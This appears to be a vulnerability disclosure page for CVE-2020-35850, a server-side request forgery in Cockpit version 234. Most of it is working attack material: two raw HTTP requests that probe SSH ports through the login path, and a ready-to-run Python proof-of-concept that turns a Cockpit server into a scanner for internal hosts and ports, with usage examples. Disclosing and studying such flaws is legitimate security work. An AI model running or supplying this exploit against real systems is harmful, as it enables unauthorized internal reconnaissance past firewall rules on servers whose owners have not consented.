UNSAFE-INLINE
Search…
Cokpit version 234 - Server Side Request Forgery (CVE-2020-35850)
Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)

Description

    Cockpit version: 234
    OS: Ubuntu 18.04
    Page: login
User can detect open ssh port or another open ports on server that services Cockpit last version. This is a vulnerability that allows an user send request to internal hosts for detecting open ports. So that firewall configuration can be bypassed or the server can be used like gateway by malicious user for scanning process. In addition, user induces the application to make an request back to the server that is hosting Cockpit. For example: if system admin creates iptables rule to drop all packets that come to 22 port or another port, user can detect whether port 22 is open or not.
Assuming that there is a iptables rule which port 22 is open for 127.0.0.1 (loopback interface) but is closed for other interface like ens33 (192.168.1.27) .
1
First HTTP Request:
2
3
GET /cockpit+=192.168.1.27:22/login HTTP/1.1
4
Host: 192.168.1.27:9090
5
User-Agent: *
6
Accept: */*
7
Accept-Language: en-US,en;q=0.5
8
Accept-Encoding: gzip, deflate
9
Authorization: Basic dWJ1bnR1OnVidW50dQ==
10
X-Authorize:
11
Connection: close
12
Cookie: cockpit=deleted
Copied!
1
Second HTTP Request:
2
3
GET /cockpit+=127.0.0.1:22/login HTTP/1.1
4
Host: 192.168.1.27:9090
5
User-Agent: *
6
Accept: */*
7
Accept-Language: en-US,en;q=0.5
8
Accept-Encoding: gzip, deflate
9
Authorization: Basic dWJ1bnR1OnVidW50dQ==
10
X-Authorize:
11
Connection: close
12
Cookie: cockpit=deleted
Copied!
Server-side request forgery vulnerability can be detected by comparing two requests above. First HTTP request does not response due to iptables rule.

Exploitation

1
#!/usr/bin/python3
2
import argparse
3
import requests
4
import sys
5
import urllib3
6
import time
7
from colorama import Fore, Style
8
from argparse import ArgumentParser, Namespace
9
from bs4 import BeautifulSoup
10
11
"""
12
Example scanning for internal server:
13
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
14
Example scanning for loopback interface of server:
15
python3 PoC.py --target 192.168.1.33:9090
16
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
17
"""
18
19
def main():
20
dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
21
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
22
parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
23
parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
24
parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
25
args: Namespace = parser.parse_args()
26
27
if args.target:
28
target = args.target
29
if args.scan:
30
scan = args.scan
31
if args.ports:
32
ports = args.ports
33
else:
34
ports = "22"
35
else:
36
scan = "127.0.0.1"
37
if args.ports:
38
ports = args.ports
39
else:
40
ports = "22"
41
cockpitReq(target, scan, ports)
42
43
def cockpitReq(target, scan, ports):
44
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
45
portRange = ports.split(",")
46
for unsafe in portRange:
47
headers = {
48
"Host": str(target),
49
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
50
"Accept": "*/*",
51
"Accept-Language": "en-US,en;q=0.5",
52
"Accept-Encoding": "gzip, deflate",
53
"Authorization": "Basic dW5zYWZlOmlubGluZQ==",
54
"X-Authorize": "",
55
"Connection": "close",
56
"Cookie": "cockpit=deleted",
57
}
58
req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
59
time.sleep(2)
60
soup = BeautifulSoup(req.text, 'html.parser')
61
responseCode = req.status_code
62
responseTime = str(req.elapsed)
63
64
if responseCode == 404:
65
print("Cockpit server was not found!")
66
elif responseCode == 401:
67
if soup.title.string == "Authentication failed":
68
print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
69
elif soup.title.string == "Authentication failed: no-host":
70
if responseTime > "0:00:10.000000":
71
print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
72
else:
73
print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
74
else:
75
print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
76
print("[-] One bad day!")
77
sys.exit(1)
78
else:
79
print("Something went wrong!")
80
81
main()
Copied!
Cockpit 235 — Cockpit Project
Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
Exploit Database
Last modified 8mo ago
Copy link